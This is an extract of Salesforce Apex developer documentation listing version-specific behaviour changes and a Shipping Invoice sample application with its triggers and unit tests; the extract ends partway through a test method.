System	Id	API version 54.0 and later: Assignment of an invalid 15 or 18 character ID to a variable results in a <code>System.StringException</code> exception. See Id.valueOf() .
Schema	DescribeSObjectResult	API version 54.0 and later: For custom settings and custom metadata type objects, <code>DescribeSObjectResult.isAccessible()</code> returns false if the user doesn't have permissions to access the queried objects. In API version 53.0 and earlier, the method returns true even if the user doesn't have the required permissions. See DescribeSObjectResult.isAccessible() .
System	Messaging	API version 54.0 and later: A null <code>emailMessageIds</code> parameter results in a <code>System.IllegalArgumentException</code> exception. In API version 53.0 and earlier, a null <code>emailMessageIds</code> parameter results in an error. See Messaging.sendEmailMessage() .

Version 53.0

DataWeave Integration

Apex classes must be at API version 53.0 or later to access DataWeave integration methods. See [Implementing DataWeave in Apex](#).

JSON DateTime Format

In API version 53.0 and later, DateTime format and processing has been updated. The API correctly handles DateTime values in JSON requests that use more than 3 digits after the decimal point. Requests that use an unsupported DateTime format (such as 123456000) result in an error. Salesforce recommends that you strictly adhere to DateTime formats specified in [Valid Date and DateTime Formats](#). See [Valid Date and DateTime Formats](#).

Trigger Order of Execution

In API version 53.0 and earlier, after-save record-triggered flows run after entitlements are executed. See [Triggers and Order of Execution](#).

API Reference Changes

Namespace	Class	Behavior Change
Database	SaveResult	API version 53.0 and later: The <code>getId()</code> method returns the sObject ID. However, if record locking fails during the update operation, the method returns a null value. In API version 52.0 and earlier, the <code>getId()</code> method returns a null value if the record isn't updated successfully. See SaveResult.getId() .
Database	UpsertResult	API version 53.0 and later: The <code>getId()</code> method returns the sObject ID. However, if record locking fails during the update operation, the method returns a null value. In API version 52.0 and earlier, the <code>getId()</code> method returns a null value if the record isn't updated successfully. See UpsertResult.getId() .

Version 52.0

CardPaymentMethods and DigitalWallets

In API version 52.0 and later, CardPaymentMethods and DigitalWallets can't store values for GatewayTokenEncryption and GatewayToken at the same time on the same record. If you try to assign one while the other exists, Salesforce throws an error. See [Tokenization Service Apex Class Implementation](#).

API Reference Changes

Namespace	Class	Behavior Change
System	Database	API version 52.0 and later: If the <code>executeBatch</code> call fails to acquire an Apex flex queue lock, the call throws a <code>System.AsyncException</code> . In API version 51.0 and earlier, if the <code>executeBatch</code> call fails to acquire an Apex flex queue lock, the call returns an empty ID, "0000000000000000", instead of throwing an exception. See Database.executeBatch() .

Version 51.0

API Reference Changes

Namespace	Class	Behavior Change
Schema	DescribeFieldResult	API version 51.0 and later: The <code>getReferenceTo()</code> method returns referenced objects that aren't accessible to the context user. If the context user has access to an object's field that references another object, irrespective of the context user's access to the cross-referenced object, the method returns references. In API version 50.0 and earlier, if the context user doesn't have access to the cross-referenced object, the method returns an empty list. See DescribeFieldResult.getReferenceTo() .
System	String	API version 51.0 and later: The <code>format()</code> method supports single quotes in the <code>stringToFormat</code> parameter and returns a formatted string using the <code>formattingArguments</code> parameter. In version 50.0 and earlier, single quotes aren't supported. See String.format() .
System	System	API version 51.0 and later: The <code>hashCode()</code> method returns the same <code>hashCode</code> for identical <code>Id</code> values. In API version 50.0 and earlier, identical <code>Id</code> values don't always generate the same <code>hashCode</code> value. See System.hashCode() .

Version 50.0

@NamespaceAccessible Annotation

In API version 50.0 and later, scope and accessibility rules are enforced on Apex variables, methods, inner classes, and interfaces that are annotated with `@NamespaceAccessible`. See [NamespaceAccessible Annotation](#) and [Class Variables](#).

Version 49.0

@JsonAccess Annotation

In API version 49.0 and later, the default access for both serialization and deserialization is `sameNamespace`. In API version 48.0 and earlier, the default access for deserialization is `always` and the default access for serialization is `sameNamespace` to preserve the existing behavior. See [JsonAccess Annotation](#).

@ReadOnly Annotation on REST Methods

In API version 49.0 and later, you can annotate Apex REST methods with just `@ReadOnly`. In API version 49.0 and earlier, Apex REST methods with the `@ReadOnly` annotation also require the `@RemoteAction` annotation. See [ReadOnly Annotation](#).

Version 47.0

@NamespaceAccessible Annotation

In API version 47.0 and later, `@NamespaceAccessible` isn't allowed on an entity marked with `@AuraEnabled`. Therefore, an Aura or Lightning web component installed from a package can't call an Apex method from another package, even if both packages are in the same namespace. However, an `@AuraEnabled` public method from one package can call a `@NamespaceAccessible` public method from another package in the same namespace. See [NamespaceAccessible Annotation](#).

API Reference Changes

`changedFields` Properties in `EventBus.ChangeEventHeader`: A list of the fields that were changed in an update operation, including the `LastModifiedDate` system field. This field is empty for other operations, including record creation. This property is available in Apex saved using API version 47.0 or later. See [ChangeEventHeader Properties](#).

Version 45.0

WITH SECURITY_ENFORCED Clause in SOQL

The `WITH SECURITY_ENFORCED` clause is only available in Apex. We don't recommend using `WITH SECURITY_ENFORCED` in Apex classes or triggers with an API version earlier than 45.0. See [Filter SOQL Queries Using WITH SECURITY_ENFORCED](#).

API Reference Changes

Namespace	Class	Behavior Change
System	TimeZone	API version 45.0 and later: <code>getDisplayName()</code> displays Daylight Savings Time appropriately when daylight savings is in effect. For example, British Summer Time is displayed for Europe/London and Pacific Daylight Time for America/Los_Angeles. See TimeZone.getDisplayName() .

Version 44.0

BatchApexErrorEvent

The `BatchApexErrorEvent` object represents a platform event associated with a batch Apex class. This object is available in API version 44.0 and later. If the `start`, `execute`, or `finish` method of a batch Apex job encounters an unhandled exception, a `BatchApexErrorEvent` platform event is fired. For more details, see [BatchApexErrorEvent](#)

AuraEnabled Annotation

In API version 44.0 and later, you can improve runtime performance by caching method results on the client by using the annotation `@AuraEnabled(cacheable=true)`. You can cache method results only for methods that retrieve data but don't modify it. Using this annotation eliminates the need to call `setStorable()` in JavaScript code on every action that calls the Apex method. See [AuraEnabled Annotation](#).

Version 42.0

Hierarchy Custom Settings

In API version 42.0 and later, if a hierarchy custom setting is inserted in a `testSetup` method, inserting a hierarchy custom setting record with the same `SetupOwnerId` in a test method throws a `DUPLICATE_VALUE` exception. In API version 41.0 and earlier, each method in an Apex test class, including `testSetup` methods, is able to insert hierarchy custom setting values. This behavior is true even when the methods have the same `SetupOwnerId` value as a hierarchy custom setting record inserted in a different test method. See [Hierarchy Custom Setting Methods](#).

Apex Properties

In API version 42.0 and later, unless a variable value is set in a set accessor, you can't update its value in a get accessor. See [Apex Properties](#).

Version 41.0

Exception Handling

In API version 41.0 and later, unreachable statements in your code cause compilation errors. See [Exception Statements](#).

API Reference Changes

Namespace	Class	Behavior Change
System	URL	API version 41.0 and later: Apex URL objects are represented by the <code>java.net.URI</code> type, not the <code>java.net.URL</code> type. The API version in which the URL object was instantiated determines the behavior of subsequent method calls to the specific instance. Salesforce strongly encourages you to use API version 41.0 and later for fully RFC-compliant URL parsing that includes proper handling of edge cases of complex URL structures. In API version 41.0 and later, inputs must be valid, RFC-compliant URL or URI strings. See URL Class .

Version 39.0

API Reference Changes

Namespace	Class	Behavior Change
System	SObject	API version 39.0 and later: <code>getPopulatedFieldsAsMap()</code> returns all values set on the SObject, even if values were set after the record was queried. This behavior is dependent on the version of the Apex class calling this method and not on the version of the class that generated the SObject. If you query an SObject at API version 20.0, and then call this method in a class with API version 40.0, you will get the full set of fields. See SObject.getPopulatedFieldsAsMap() .

Version 35.0

Serialization of IDs

In API version 35.0 and later, ID comparison using `==` does not fail for IDs that have been through roundtrip JSON serialization and deserialization. See [Roundtrip Serialization and Deserialization](#).

API Reference Changes

Namespace	Class	Behavior Change
System	JSON	When deserializing JSON content into an Apex class in any API version, or into an object in API version 35.0 or later, no exception is thrown. When deserializing JSON content into a custom object or an sObject using Salesforce API version 34.0 or earlier, the

Namespace	Class	Behavior Change
		<code>deserialize(jsonString, apexType)</code> and <code>readValueAs(apexType)</code> methods throw a runtime exception when passed extraneous attributes. See JSON.deserialize(jsonString, apexType) and JSONParser.readValueAs() .
System	PageReference	In API version 34.0 and later, <code>getContent()</code> and <code>getContentAsPDF()</code> are treated as callouts. If you use <code>getContent()</code> or <code>getContentAsPDF()</code> in a test method, the test method fails. See PageReference.getContent() .
System	Pattern	In API version 35.0 and later, the <code>split()</code> method works correctly if you use a zero-width regExp parameter. In API version 34.0 and earlier, a zero-width regExp value produces an empty list item at the beginning of the <code>split()</code> method output. See Pattern.split() .

Version 34.0

Schema Namespace Prefixes

In API version 34.0 and later, `Schema.DescribeSObjectResult` on a custom `SObjectType` includes map keys prefixed with the namespace, even if the namespace is that of currently executing code. If you work with multiple namespaces and generate run-time describe data, make sure that your code accesses keys correctly by using the namespace prefix. See [Namespace Prefix](#).

API Reference Changes

Namespace	Class	Behavior Change
System	Date	API version 34.0 to 53.0: If you call <code>Date.valueOf()</code> with a <code>Datetime</code> object, the method converts <code>Datetime</code> to a valid <code>Date</code> without the time information, but the result depends on the manner in which the <code>Datetime</code> object was initialized. For example, if the <code>Datetime</code> object was initialized using <code>Datetime.valueOf(stringDate)</code> , the returned <code>Date</code> value contains time (hours) information. If the <code>Datetime</code> object is initialized by using <code>Datetime.newInstance(year, month, day, hour, minute, second)</code> , the returned <code>Date</code> value doesn't contain time information. See Date.valueOf() .
System	SObject	In API version 34.0 and later, you must include the namespace name to retrieve a field from a field Map using the <code>get(fieldName)</code> method. For example, to get the <code>account__c</code> field in the <code>MyNamespace</code> namespace from field Map called "fields", use: <code>fields.get('MyNamespace__account__c')</code> . See SObject.get(fieldName) .

Version 33.0

API Reference Changes

Namespace	Class	Behavior Change
System	Date	In API version 33.0 and earlier, if you call <code>Date.valueOf</code> with a <code>Datetime</code> object, the method returns a <code>Date</code> value that contains the hours, minutes, seconds, and milliseconds set. See Date.valueOf() .

Version 32.0

`instanceof` Operator

In API version 32.0 and later, `instanceof` returns `false` if the left operand is a null object. In API version 31.0 and earlier, `instanceof` returns `true` in this case. See [Using the Instance of Keyword](#).

Version 28.0

Null Fields in JSON Serialization

In API version 28.0 and later, null fields aren't serialized and aren't included in the JSON string, unlike in earlier versions. This change doesn't affect deserializing JSON strings with JSON methods, such as [Json.deserialize\(\)](#). This change is noticeable when you inspect the JSON string.

VLOOKUP Validation Rule Function

In API version 28.0 and later, the VLOOKUP validation rule function no longer accesses organization data from a running Apex test. The function looks up only data created by the test, unless the test class or method is annotated with `IsTest(SeeAllData=true)`. In API version 27.0 and earlier, the VLOOKUP validation rule function always looks up org data in addition to test data when fired by a running Apex test. See [Isolation of Test Data from Organization Data in Unit Tests](#).

Version 26.0

Chaining Batch Jobs

In API version 26.0 and later, you can start another batch job from an existing batch job to chain jobs together, enforcing strict sequential execution. See [Use Batch Apex](#).

Calling `Database.executeBatch` and `System.scheduleBatch` Methods

In API version 26.0 and later, you can call `Database.executeBatch` and `System.scheduleBatch` from any batch Apex method. See [Use Batch Apex](#).

Version 24.0

Apex Test Methods

In API version 24.0 and later, Apex test methods can't access pre-existing org data by default, such as standard objects, custom objects, and custom settings data. They can only access data that they create. However, objects that are used to manage your organization or metadata objects can still be accessed in your tests. In API version 23.0 and earlier, test code continues to have access to all data in the organization and its data access is unchanged. See [Isolation of Test Data from Organization Data in Unit Tests](#).

Version 22.0

Batch Apex Exceptions with Test Methods

In API version 22.0 and later, exceptions that occur during the execution of a batch Apex job invoked by a test method are passed to the calling test method. As a result, these exceptions cause the test method to fail. See [Use Batch Apex](#).

Version 21.0

Bulk API Requests

In API version 21.0 and later, if a Bulk API request causes a trigger to fire, each chunk of 200 records for the trigger to process is no longer split into smaller chunks. If a Bulk API request causes a trigger to fire multiple times for chunks of 200 records, governor limits are reset between these trigger invocations for the same HTTP request. Static variables aren't reset within the multiple trigger invocations for the same Bulk API request. In API version 20.0 and earlier, if a Bulk API request causes a trigger to fire, each chunk of 200 records for the trigger to process is split into chunks of 100 records.

FeedPost Objects

In API version 21.0, insert and delete triggers on FeedPost objects are supported. In API version 20.0 and earlier, these trigger operations on FeedPost aren't supported. See [Triggers for Chatter Objects](#).



Note: The `FeedPost` object is discontinued in API version 22.0 and later. Use `FeedItem` instead. See [FeedItem](#)

Version 17.0

HTTP Response Decoding

In API version 17.0 and later, HTTP responses are decoded using the encoding specified in the Content-Type header. In API versions 16.0 and earlier, HTTP responses for callouts are always decoded using UTF-8, regardless of the Content-Type header. See [SOAP Services: Defining a Class from a WSDL Document](#).

Version 16.0

Decimal Data Type

In API version 16.0 and later, Apex uses the higher-precision `Decimal` data type in certain types such as currency. See [Primitive Data Types](#).

Version 15.0

anyType datatype

The Salesforce datatype `anyType` is not supported in WSDLs used to generate Apex code that is saved by using API version 15.0 and later. In API version 14.0 and earlier, `anyType` is mapped to String. See [SOAP Services: Defining a Class from a WSDL Document](#).

DMLOptions Settings

DMLOptions settings are only available for Apex saved against API versions 15.0 and higher. DMLOptions settings take effect only for record operations performed by using Apex DML and not through the Salesforce user interface.

In API version 15.0 and later, the Database.DMLOptions `emailHeader` property enables you to specify information about the email sent when an event occurs because of Apex DML code execution. See [Setting DML Options](#).

String values

In API version 15.0 and higher, assigning a `String` value that is too long for the field produces a run-time error.

Shipping Invoice Example

This appendix provides an example of an Apex application. This is a more complex example than the Hello World example.

- [Shipping Invoice Walk-Through](#)
- [Shipping Invoice Example Code](#)

1. [Shipping Invoice Example Walk-Through](#)
2. [Shipping Invoice Example Code](#)

Shipping Invoice Example Walk-Through

The sample application in this section includes traditional Salesforce functionality blended with Apex. Many of the syntactic and semantic features of Apex, along with common idioms, are illustrated in this application.

 **Note:** The Shipping Invoice sample requires custom objects. You can either create these on your own, or download the objects and Apex code as an unmanaged package from the Salesforce AppExchange. To obtain the sample assets in your org, install the [Apex Tutorials Package](#). This package also contains sample code and objects for the [Apex Quick Start](#).

Scenario

In this sample application, the user creates a new shipping invoice, or order, and then adds items to the invoice. The total amount for the order, including shipping cost, is automatically calculated and updated based on the items added or deleted from the invoice.

Data and Code Models

This sample application uses two new objects: Item and Shipping_invoice.

The following assumptions are made:

- Item A cannot be in both orders shipping_invoice1 and shipping_invoice2. Two customers cannot obtain the same (physical) product.
- The tax rate is 9.25%.
- The shipping rate is 75 cents per pound.
- Once an order is over \$100, the shipping discount is applied (shipping becomes free).

The fields in the Item custom object include:

Name	Type	Description
Name	String	The name of the item
Price	Currency	The price of the item
Quantity	Number	The number of items in the order
Weight	Number	The weight of the item, used to calculate shipping costs
Shipping_invoice	Master-Detail (shipping_invoice)	The order this item is associated with

The fields in the Shipping_invoice custom object include:


Name	Type	Description
Name	String	The name of the shipping invoice/order
Subtotal	Currency	The subtotal
GrandTotal	Currency	The total amount, including tax and shipping
Shipping	Currency	The amount charged for shipping (assumes \$0.75 per pound)
ShippingDiscount	Currency	Only applied once when subtotal amount reaches \$100
Tax	Currency	The amount of tax (assumes 9.25%)
TotalWeight	Number	The total weight of all items

All of the Apex for this application is contained in triggers. This application has the following triggers:

Object	Trigger Name	When Runs	Description
Item	Calculate	after insert, after update, after delete	Updates the shipping invoice, calculates the totals and shipping
Shipping_Invoice	ShippingDiscount	after update	Updates the shipping invoice, calculating if there is a shipping discount

The following is the general flow of user actions and when triggers run:

Flow of user action and triggers for the shopping cart application



1. User clicks **Orders > New**, names the shipping invoice and clicks **Save**.
2. User clicks **New Item**, fills out information, and clicks **Save**.
3. Calculate trigger runs. Part of the Calculate trigger updates the shipping invoice.
4. ShippingDiscount trigger runs.
5. User can then add, delete or change items in the invoice.

In [Shipping Invoice Example Code](#) both of the triggers and the test class are listed. The comments in the code explain the functionality.

Testing the Shipping Invoice Application

Before an application can be included as part of a package, 75% of the code must be covered by unit tests. Therefore, one piece of the shipping invoice application is a class used for testing the triggers.

The test class verifies the following actions are completed successfully:

- Inserting items
- Updating items
- Deleting items
- Applying shipping discount
- Negative test for bad input

Shipping Invoice Example Code

The following triggers and test class make up the shipping invoice example application:

- [Calculate trigger](#)
- [ShippingDiscount trigger](#)
- [Test class](#)

Calculate Trigger

```
trigger calculate on Item__c (after insert, after update, after delete) {

    // Use a map because it doesn't allow duplicate values

    Map<ID, Shipping_Invoice__C> updateMap = new Map<ID, Shipping_Invoice__C>();

    // Set this integer to -1 if we are deleting
    Integer subtract ;

    // Populate the list of items based on trigger type
    List<Item__c> itemList;
    if(trigger.isInsert || trigger.isUpdate){
        itemList = Trigger.new;
        subtract = 1;
    }
    else if(trigger.isDelete)
    {
        // Note -- there is no trigger.new in delete
        itemList = trigger.old;
        subtract = -1;
    }

    // Access all the information we need in a single query
    // rather than querying when we need it.
    // This is a best practice for bulkifying requests

    set<Id> AllItems = new set<id>();

    for(item__c i :itemList){
        // Assert numbers are not negative.
        // None of the fields would make sense with a negative value

        System.assert(i.quantity__c > 0, 'Quantity must be positive');
        System.assert(i.weight__c >= 0, 'Weight must be non-negative');
        System.assert(i.price__c >= 0, 'Price must be non-negative');

        // If there is a duplicate Id, it won't get added to a set
        AllItems.add(i.Shipping_Invoice__C);
    }

    // Accessing all shipping invoices associated with the items in the trigger
    List<Shipping_Invoice__C> AllShippingInvoices = [SELECT Id, ShippingDiscount__c,
                                                    SubTotal__c, TotalWeight__c, Tax__c, GrandTotal__c
                                                    FROM Shipping_Invoice__C WHERE Id IN :AllItems];

    // Take the list we just populated and put it into a Map.
    // This will make it easier to look up a shipping invoice
```

```

// because you must iterate a list, but you can use lookup for a map,
Map<ID, Shipping_Invoice__C> SIMap = new Map<ID, Shipping_Invoice__C>();

for(Shipping_Invoice__C sc : AllShippingInvoices)
{
    SIMap.put(sc.id, sc);
}

// Process the list of items
if(Trigger.isUpdate)
{
    // Treat updates like a removal of the old item and addition of the
    // revised item rather than figuring out the differences of each field
    // and acting accordingly.
    // Note updates have both trigger.new and trigger.old
    for(Integer x = 0; x < Trigger.old.size(); x++)
    {
        Shipping_Invoice__C myOrder;
        myOrder = SIMap.get(trigger.old[x].Shipping_Invoice__C);

        // Decrement the previous value from the subtotal and weight.
        myOrder.SubTotal__c -= (trigger.old[x].price__c *
                                trigger.old[x].quantity__c);
        myOrder.TotalWeight__c -= (trigger.old[x].weight__c *
                                    trigger.old[x].quantity__c);

        // Increment the new subtotal and weight.
        myOrder.SubTotal__c += (trigger.new[x].price__c *
                                trigger.new[x].quantity__c);
        myOrder.TotalWeight__c += (trigger.new[x].weight__c *
                                    trigger.new[x].quantity__c);
    }

    for(Shipping_Invoice__C myOrder : AllShippingInvoices)
    {
        // Set tax rate to 9.25% Please note, this is a simple example.
        // Generally, you would never hard code values.
        // Leveraging Custom Settings for tax rates is a best practice.
        // See Custom Settings in the Apex Developer Guide
        // for more information.
        myOrder.Tax__c = myOrder.Subtotal__c * .0925;

        // Reset the shipping discount
        myOrder.ShippingDiscount__c = 0;

        // Set shipping rate to 75 cents per pound.
        // Generally, you would never hard code values.
        // Leveraging Custom Settings for the shipping rate is a best practice.
        // See Custom Settings in the Apex Developer Guide
        // for more information.
        myOrder.Shipping__c = (myOrder.totalWeight__c * .75);
        myOrder.GrandTotal__c = myOrder.SubTotal__c + myOrder.tax__c +
                                myOrder.Shipping__c;
    }
}

```

```

        updateMap.put(myOrder.id, myOrder);
    }
}
else
{
    for(Item__c itemToProcess : itemList)
    {
        Shipping_Invoice__C myOrder;

        // Look up the correct shipping invoice from the ones we got earlier
        myOrder = SIMap.get(itemToProcess.Shipping_Invoice__C);
        myOrder.SubTotal__c += (itemToProcess.price__c *
                                itemToProcess.quantity__c * subtract);
        myOrder.TotalWeight__c += (itemToProcess.weight__c *
                                    itemToProcess.quantity__c * subtract);
    }

    for(Shipping_Invoice__C myOrder : AllShippingInvoices)
    {

        // Set tax rate to 9.25% Please note, this is a simple example.
        // Generally, you would never hard code values.
        // Leveraging Custom Settings for tax rates is a best practice.
        // See Custom Settings in the Apex Developer Guide
        // for more information.
        myOrder.Tax__c = myOrder.Subtotal__c * .0925;

        // Reset shipping discount
        myOrder.ShippingDiscount__c = 0;

        // Set shipping rate to 75 cents per pound.
        // Generally, you would never hard code values.
        // Leveraging Custom Settings for the shipping rate is a best practice.
        // See Custom Settings in the Apex Developer Guide
        // for more information.
        myOrder.Shipping__c = (myOrder.totalWeight__c * .75);
        myOrder.GrandTotal__c = myOrder.SubTotal__c + myOrder.tax__c +
                                myOrder.Shipping__c;

        updateMap.put(myOrder.id, myOrder);
    }
}

// Only use one DML update at the end.
// This minimizes the number of DML requests generated from this trigger.
update updateMap.values();
}

```

ShippingDiscount Trigger

```

trigger ShippingDiscount on Shipping_Invoice__C (before update) {
    // Free shipping on all orders greater than $100

```

```

for(Shipping_Invoice__C myShippingInvoice : Trigger.new)
{
    if((myShippingInvoice.subtotal__c >= 100.00) &&
        (myShippingInvoice.ShippingDiscount__c == 0))
    {
        myShippingInvoice.ShippingDiscount__c =
            myShippingInvoice.Shipping__c * -1;
        myShippingInvoice.GrandTotal__c += myShippingInvoice.ShippingDiscount__c;
    }
}
}

```

Shipping Invoice Test

```

@IsTest
private class TestShippingInvoice{

    // Test for inserting three items at once
    public static testmethod void testBulkItemInsert(){
        // Create the shipping invoice. It's a best practice to either use defaults
        // or to explicitly set all values to zero so as to avoid having
        // extraneous data in your test.
        Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
            totalweight__c = 0, grandtotal__c = 0,
            ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);

        // Insert the order and populate with items
        insert Order1;
        List<Item__c> list1 = new List<Item__c>();
        Item__c item1 = new Item__C(Price__c = 10, weight__c = 1, quantity__c = 1,
            Shipping_Invoice__C = order1.id);
        Item__c item2 = new Item__C(Price__c = 25, weight__c = 2, quantity__c = 1,
            Shipping_Invoice__C = order1.id);
        Item__c item3 = new Item__C(Price__c = 40, weight__c = 3, quantity__c = 1,
            Shipping_Invoice__C = order1.id);

        list1.add(item1);
        list1.add(item2);
        list1.add(item3);
        insert list1;

        // Retrieve the order, then do assertions
        order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c,
            grandtotal__c, shippingdiscount__c
            FROM Shipping_Invoice__C
            WHERE id = :order1.id];

        System.assert(order1.subtotal__c == 75,
            'Order subtotal was not $75, but was ' + order1.subtotal__c);
        System.assert(order1.tax__c == 6.9375,
            'Order tax was not $6.9375, but was ' + order1.tax__c);
        System.assert(order1.shipping__c == 4.50,
            'Order shipping was not $4.50, but was ' + order1.shipping__c);
    }
}

```

```

System.assert(order1.totalweight__c == 6.00,
    'Order weight was not 6 but was ' + order1.totalweight__c);
System.assert(order1.grandtotal__c == 86.4375,
    'Order grand total was not $86.4375 but was '
    + order1.grandtotal__c);
System.assert(order1.shippingdiscount__c == 0,
    'Order shipping discount was not $0 but was '
    + order1.shippingdiscount__c);
}

// Test for updating three items at once
public static testmethod void testBulkItemUpdate(){

    // Create the shipping invoice. It's a best practice to either use defaults
    // or to explicitly set all values to zero so as to avoid having
    // extraneous data in your test.
    Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
        totalweight__c = 0, grandtotal__c = 0,
        ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);

    // Insert the order and populate with items.
    insert Order1;
    List<Item__c> list1 = new List<Item__c>();
    Item__c item1 = new Item__C(Price__c = 1, weight__c = 1, quantity__c = 1,
        Shipping_Invoice__C = order1.id);
    Item__c item2 = new Item__C(Price__c = 2, weight__c = 2, quantity__c = 1,
        Shipping_Invoice__C = order1.id);
    Item__c item3 = new Item__C(Price__c = 4, weight__c = 3, quantity__c = 1,
        Shipping_Invoice__C = order1.id);

    list1.add(item1);
    list1.add(item2);
    list1.add(item3);
    insert as system list1;

    // Update the prices on the 3 items
    list1[0].price__c = 10;
    list1[1].price__c = 25;
    list1[2].price__c = 40;
    update as system list1;

    // Access the order and assert items updated
    order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c,
        grandtotal__c, shippingdiscount__c
        FROM Shipping_Invoice__C
        WHERE Id = :order1.Id];

    System.assert(order1.subtotal__c == 75,
        'Order subtotal was not $75, but was ' + order1.subtotal__c);
    System.assert(order1.tax__c == 6.9375,
        'Order tax was not $6.9375, but was ' + order1.tax__c);
    System.assert(order1.shipping__c == 4.50,
        'Order shipping was not $4.50, but was '
        + order1.shipping__c);
    System.assert(order1.totalweight__c == 6.00,

```

```

        'Order weight was not 6 but was ' + order1.totalweight__c);
System.assert(order1.grandtotal__c == 86.4375,
        'Order grand total was not $86.4375 but was '
        + order1.grandtotal__c);
System.assert(order1.shippingdiscount__c == 0,
        'Order shipping discount was not $0 but was '
        + order1.shippingdiscount__c);
    }

// Test for deleting items
public static testmethod void testBulkItemDelete(){

    // Create the shipping invoice. It's a best practice to either use defaults
    // or to explicitly set all values to zero so as to avoid having
    // extraneous data in your test.
    Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
        totalweight__c = 0, grandtotal__c = 0,
        ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);

    // Insert the order and populate with items
    insert Order1;
    List<Item__c> list1 = new List<Item__c>();
    Item__c item1 = new Item__C(Price__c = 10, weight__c = 1, quantity__c = 1,
        Shipping_Invoice__C = order1.id);
    Item__c item2 = new Item__C(Price__c = 25, weight__c = 2, quantity__c = 1,
        Shipping_Invoice__C = order1.id);
    Item__c item3 = new Item__C(Price__c = 40, weight__c = 3, quantity__c = 1,
        Shipping_Invoice__C = order1.id);
    Item__c itemA = new Item__C(Price__c = 1, weight__c = 3, quantity__c = 1,
        Shipping_Invoice__C = order1.id);
    Item__c itemB = new Item__C(Price__c = 1, weight__c = 3, quantity__c = 1,
        Shipping_Invoice__C = order1.id);
    Item__c itemC = new Item__C(Price__c = 1, weight__c = 3, quantity__c = 1,
        Shipping_Invoice__C = order1.id);
    Item__c itemD = new Item__C(Price__c = 1, weight__c = 3, quantity__c = 1,
        Shipping_Invoice__C = order1.id);

    list1.add(item1);
    list1.add(item2);
    list1.add(item3);
    list1.add(itemA);
    list1.add(itemB);
    list1.add(itemC);
    list1.add(itemD);
    insert list1;

    // Seven items are now in the shipping invoice.
    // The following deletes four of them.
    List<Item__c> list2 = new List<Item__c>();
    list2.add(itemA);
    list2.add(itemB);
    list2.add(itemC);
    list2.add(itemD);
    delete list2;
}

```



```

// Retrieve the order and verify the deletion
order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c,
             grandtotal__c, shippingdiscount__c
          FROM Shipping_Invoice__C
          WHERE Id = :order1.Id];

System.assert(order1.subtotal__c == 75,
              'Order subtotal was not $75, but was ' + order1.subtotal__c);
System.assert(order1.tax__c == 6.9375,
              'Order tax was not $6.9375, but was ' + order1.tax__c);
System.assert(order1.shipping__c == 4.50,
              'Order shipping was not $4.50, but was ' + order1.shipping__c);
System.assert(order1.totalweight__c == 6.00,
              'Order weight was not 6 but was ' + order1.totalweight__c);
System.assert(order1.grandtotal__c == 86.4375,
              'Order grand total was not $86.4375 but was '
              + order1.grandtotal__c);
System.assert(order1.shippingdiscount__c == 0,
              'Order shipping discount was not $0 but was '
              + order1.shippingdiscount__c);
}

// Testing free shipping
public static testmethod void testFreeShipping(){

    // Create the shipping invoice. It's a best practice to either use defaults
    // or to explicitly set all values to zero so as to avoid having
    // extraneous data in your test.
    Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
                                                         totalweight__c = 0, grandtotal__c = 0,
                                                         ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);

    // Insert the order and populate with items.
    insert Order1;
    List<Item__c> list1 = new List<Item__c>();
    Item__c item1 = new Item__C(Price__c = 10, weight__c = 1,
                               quantity__c = 1, Shipping_Invoice__C = order1.id);
    Item__c item2 = new Item__C(Price__c = 25, weight__c = 2,
                               quantity__c = 1, Shipping_Invoice__C = order1.id);
    Item__c item3 = new Item__C(Price__c = 40, weight__c = 3,
                               quantity__c = 1, Shipping_Invoice__C = order1.id);
    list1.add(item1);
    list1.add(item2);
    list1.add(item3);
    insert list1;

    // Retrieve the order and verify free shipping not applicable
    order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c,
                 grandtotal__c, shippingdiscount__c
             FROM Shipping_Invoice__C
             WHERE Id = :order1.Id];

    // Free shipping not available on $75 orders
    System.assert(order1.subtotal__c == 75,

```

```

        'Order subtotal was not $75, but was ' + order1.subtotal__c);
System.assert(order1.tax__c == 6.9375,
        'Order tax was not $6.9375, but was ' + order1.tax__c);
System.assert(order1.shipping__c == 4.50,
        'Order shipping was not $4.50, but was ' + order1.shipping__c);
System.assert(order1.totalweight__c == 6.00,
        'Order weight was not 6 but was ' + order1.totalweight__c);
System.assert(order1.grandtotal__c == 86.4375,
        'Order grand total was not $86.4375 but was '
        + order1.grandtotal__c);
System.assert(order1.shippingdiscount__c == 0,
        'Order shipping discount was not $0 but was '
        + order1.shippingdiscount__c);

// Add items to increase subtotal
item1 = new Item__C(Price__c = 25, weight__c = 20, quantity__c = 1,
        Shipping_Invoice__C = order1.id);
insert item1;

// Retrieve the order and verify free shipping is applicable
order1 = [SELECT id, subtotal__c, tax__c, shipping__c, totalweight__c,
        grandtotal__c, shippingdiscount__c
        FROM Shipping_Invoice__C
        WHERE Id = :order1.Id];

// Order total is now at $100, so free shipping should be enabled
System.assert(order1.subtotal__c == 100,
        'Order subtotal was not $100, but was ' + order1.subtotal__c);
System.assert(order1.tax__c == 9.25,
        'Order tax was not $9.25, but was ' + order1.tax__c);
System.assert(order1.shipping__c == 19.50,
        'Order shipping was not $19.50, but was '
        + order1.shipping__c);
System.assert(order1.totalweight__c == 26.00,
        'Order weight was not 26 but was ' + order1.totalweight__c);
System.assert(order1.grandtotal__c == 109.25,
        'Order grand total was not $86.4375 but was '
        + order1.grandtotal__c);
System.assert(order1.shippingdiscount__c == -19.50,
        'Order shipping discount was not -$19.50 but was '
        + order1.shippingdiscount__c);
}

// Negative testing for inserting bad input
public static testmethod void testNegativeTests(){

    // Create the shipping invoice. It's a best practice to either use defaults
    // or to explicitly set all values to zero so as to avoid having
    // extraneous data in your test.
    Shipping_Invoice__C order1 = new Shipping_Invoice__C(subtotal__c = 0,
        totalweight__c = 0, grandtotal__c = 0,
        ShippingDiscount__c = 0, Shipping__c = 0, tax__c = 0);

    // Insert the order and populate with items.

```

```

